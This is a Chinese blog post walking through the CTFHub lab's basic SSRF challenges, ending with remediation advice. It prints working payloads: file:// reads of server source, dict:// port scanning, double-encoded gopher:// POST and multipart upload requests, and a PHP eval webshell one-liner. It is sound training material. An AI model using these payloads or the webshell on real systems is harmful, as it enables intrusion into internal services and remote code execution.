MENU

SSRF学习之ctfhub靶场-基础部分

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

概念

SSRF,全称为Server-Side Request Forgery,服务器端请求伪造,是攻击者能够代表服务器发送请求时产生的漏洞。它允许攻击者“伪造”易受到攻击服务器的请求签名,从而在web上占据主导地位,绕过防火墙控制并获得对内部服务的访问权限

形成原因:由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据

那么在什么时候可能产生SSRF呢?最常见的是当服务器需要外部资源时

比如web需要从google加载一张缩略图,此时的请求可能是这样的:

https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg

当从google.com获取cutpugs.jpeg时,Web应用程序必须访问google.com并从google.com中检索内容

如果服务器不区分内部和外部资源,攻击者就可以轻松地发出请求:

https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt

然后使web服务器向攻击者的web服务器显示包含密码的文件

列举几个经常易受SSRF攻击的功能,包括Web hook、通过URL上传文件、文档和图像处理、链接扩展和代理服务(因为这些功能都需要访问和获取外部资源)

在PHP中:某些函数的不当使用会导致SSRF:如

  • file_get_conntents():把文件写入字符串,当url是内网文件时,会先把这个文件的内容读出来再写入,导致了文件读取
  • fsockopen():实现获取用户指定url的数据(文件或者html),这个函数会使用socket跟服务器建立tcp连接,传输原始数据
  • curl_exec():通过file、dict、gopher三个协议来进行渗透

危害:获取web应用可达服务器服务的banner信息,以及收集内网web应用的指纹识别,

根据这些信息再进行进一步的渗透,攻击运行在内网的系统或应用程序,获取内网系统弱口令进行内网漫游,

对有漏洞的内网web应用实施攻击获取webshell

利用由脆弱性的组件结合ftp://、file://、dict://等协议实施攻击

漏洞发生点:

  • 通过url地址分享网页内容
  • 文件处理、编码处理、转码等服务
  • 在线翻译
  • 通过url地址加载与下载图片
  • 图片、文章收藏功能
  • 未公开的api实现及其他调用url的功能
  • 网站邮箱收取其他邮箱邮件功能

url关键字寻找:

share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain

下面配合ctfhub的靶场进行实战讲解

0x01 第一题 内网访问

简单演示:

先来一个例子热热身,依然是ctfhub技能树web第一题 内网访问

题目提示为:尝试访问位于127.0.0.1flag.php

打开题目为空白,urlxxx.com:yyyy/?url=_

嗯,好,不知道啥意思,这篇文章到此结束。。了吗?不可能的

url=127.0.0.1/flag.php

好下一个

0x02 第二题 端口扫描

题目提示端口在8000-9000,因此直接扫就可以了

这里我们需要使用dict伪协议来扫描,因为dict协议可以用来探测开放的端口

伪协议可以参考文末的参考文章进行学习

得到端口8605

得到flag,接下来看下一题POST请求

0x03 第三题 POST请求

题目描述为

“这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年”

从提示知道应该是需要我们利用SSRF发一个POST的请求,自然而然就想到了gopher

同时题目中也提到了curl,而curl正好是支持gopher协议的,

因此这题大概率就是利用gopher发送一个POST请求,然后获得flag

那先看下存不存在flag.php吧:

查看flag.php果然存在,并且返回中有一个debug参数key

<!-- Debug: key=4a0c2731eeeb016454ef8984765b990d-->

需要我们用gopher协议通过302.php的跳转去用post keyflag.php

不过需要注意的是要从127.0.0.1发送数据

那我们先看一下能否读取到flag.phpindex.php的内容:

/?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

/?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

伪协议同样可以参考文末的参考文章进行学习

构造gopher数据

我们首先要通过

{host}:{port}/index.php?url=http://127.0.0.1/302.php

去跳转gopher的协议,构造POST,结合gopher,数据包应该是这样的:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36 
Content-Type: application/x-www-form-urlencoded

key=4a0c2731eeeb016454ef8984765b990d

以上数据包内容缺一不可,需要注意的是

  • 特别注意Content-Length的长度,这个字段必须有,并且长度不对也是不行的
  • 注意更改key
  • URL编码的次数主要取决于你请求的次数,比如你直接POST请求算一次,直接?url打则需再加一次共2次

这里推荐一个巨好用的在线编码网站,CyberChef

首先在左边搜索栏搜索url encode,把这个功能拖到功能栏,

将上面代码复制进去得到第一次URL编码的结果(注意默认编码特殊字符不需要勾选编码全部字符):

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%20%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=4a0c2731eeeb016454ef8984765b990d

此处需要对换行进行处理,默认换行编码为%0A,但我们需要把它换为%0D%0A

于是在页面左边搜索Find / Replace拖到功能栏按照所属进行配置:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%20%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=4a0c2731eeeb016454ef8984765b990d

最后由于我们是通过?url过去的,所以需要再编码一次:

最终的包为:

GET http://challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%2520%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=4a0c2731eeeb016454ef8984765b990d HTTP/1.1
Host: challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

发包得到flag

0x04 第四题 上传文件

提示为

这次需要上传一个文件到flag.php了.祝你好运

直接访问127.0.0.1下的flag.php,发现是一个文件上传界面,提示我们上传webshell

但好像只有一个选择文件,没有上传文件的按钮,访问?url=file:///var/www/html/index.php,得到index.php的源码:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

访问?url=file:///var/www/html/flag.php,得到flag.php的源码:

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

if (isset($_FILES["file"]) && $_FILES["file"]["size"] > 0) {
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

可以发现flag.php仅要求上传的文件大小大于0即可得到flag,并没有任何过滤

接下来我们尝试利用gopher协议上传文件,首先需要得到文件上传的数据包,才能编写gopherpayload

因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮

(但这里点击提交按钮是得不到flag的,必须从目标机本地访问)

添加一行

<input type="submit" name="submit">

则会出现一个提交查询按钮:

随便选择文件,开启拦截包点击提交查询

由于访问flag需要本地访问,故把HOST改为127.0.0.1

POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22285140113870486144781081380
Content-Length: 379
Origin: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']);
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------22285140113870486144781081380--

然后和上面的操作一样url编码一次,把%0A换成%0D%0A,然后再url编码一次

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------22285140113870486144781081380%250D%250AContent-Length:%2520379%250D%250AOrigin:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522yjh.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'a'%255D);%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------22285140113870486144781081380--%250D%250A

进行gopher协议的使用,就可以成功得到flag

修复建议

  • 禁用不需要的协议,只允许HTTP和HTTPS请求,可以防止类似于file://, gopher://, ftp:// 等引起的问题。
  • 白名单的方式限制访问的目标地址,禁止对内网发起请求
  • 过滤或屏蔽请求返回的详细信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  • 验证请求的文件格式
  • 禁止跳转
  • 限制请求的端口为http常用的端口,比如 80、443、8080、8000等
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

参考文章:

最后编辑于: 2020 年 12 月 31 日